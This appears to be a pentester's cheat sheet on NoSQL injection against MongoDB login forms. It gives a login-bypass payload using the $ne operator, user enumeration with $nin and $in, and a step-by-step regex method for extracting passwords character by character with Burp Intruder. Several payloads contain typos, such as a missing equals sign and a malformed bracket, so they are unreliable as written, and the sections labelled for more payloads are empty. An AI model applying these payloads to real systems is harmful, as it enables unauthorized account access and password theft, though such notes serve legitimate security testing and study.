NoSQL Injection
Login Page:
1: Burpsuite
2: Random input creds (test,tset)
3: user[$ne]=test&pass[$ne]tset
Basic payload for NoSQL Injection Login Bypass
This forces the database to return all user documents and as a result we are logged in.
Logging in as other users:
Use [$nin][] to retrieve a list of values to ignore. Keep using until it throws an error (user enumeration)
Example:
user[$in][]=admin&user[$nin[]=john&pass[$ne]=pass
Extracting users' passwords
[$regex]=^.{num}$
Then if you found the num,
pass[$regex]=^........$ then use a wordlist for 1 letter/number/symbol for each row until it guesses it with intruder.
MongoDB Usage
Query Operators
Type
Operator
Description
Example
Authentication Bypass / Data Exfiltration Payloads:
URL-Encoded
JSON
Blind NoSQLi Payloads:
URL-Encoded
JSON
Server-Side JavaScript Injection Payloads:
Last updated